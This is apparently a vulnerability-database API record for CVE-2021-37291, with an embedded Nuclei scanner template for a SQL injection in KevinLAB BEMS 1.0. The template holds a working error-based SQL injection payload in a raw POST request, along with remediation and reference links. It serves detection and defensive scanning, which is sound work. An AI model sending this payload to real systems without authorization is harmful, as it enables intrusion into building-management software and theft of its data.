{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-37291/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-37291/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-37291/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-37291/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-37291/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-37291"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-37291"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2021/CVE-2021-37291.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2021-37291\n\ninfo:\n  name: KevinLAB BEMS 1.0 - SQL Injection\n  author: gy741\n  severity: critical\n  description: |\n    KevinLAB BEMS 1.0 contains a SQL injection vulnerability. Input passed through input_id POST parameter in /http/index.php is not properly sanitized before being returned to the user or used in SQL queries. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.\n  impact: |\n    Unauthenticated attackers can exploit SQL injection in the input_id parameter to extract sensitive database contents, modify data, and execute unauthorized administrative operations.\n  remediation: |\n    Upgrade to KevinLAB BEMS version 1.0.1 or later that addresses the SQL injection vulnerability.\n  reference:\n    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5655.php\n    - https://www.exploit-db.com/exploits/50146\n    - https://packetstormsecurity.com/files/163572/\n    - https://nvd.nist.gov/vuln/detail/cve-2021-37291\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-37291\n    epss-score: 0.06535\n    epss-percentile: 0.93544\n    cwe-id: CWE-89\n    cpe: cpe:2.3:a:kevinlab:4st_l-bems:1.0.0:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: kevinlab\n    product: 4st_l-bems\n  tags: cve,cve2021,kevinlab,sqli,edb,packetstorm,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /http/index.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n        Accept-Encoding: gzip, deflate\n\n        requester=login&request=login&params=[{\"name\":\"input_id\",\"value\":\"USERNAME' AND EXTRACTVALUE(1337,CONCAT(0x5C,0x5A534C,(SELECT (ELT(1337=1337,1))),0x5A534C)) AND 'joxy'='joxy\"},{\"name\":\"input_passwd\",\"value\":\"PASSWORD\"},{\"name\":\"device_id\",\"value\":\"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\"},{\"name\":\"checked\",\"value\":false},{\"name\":\"login_key\",\"value\":\"\"}]\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"XPATH syntax error\"\n          - \": '\\\\ZSL1ZSL'\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402203ab41a12616c74fd5e12ed8142bc2be4915159920393b2b2eca399dc9792e60302200c366314d2015096eb63df4fe08e85198ce6164c16f2edb832f6c964ab7a68ef:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2021-37291"
}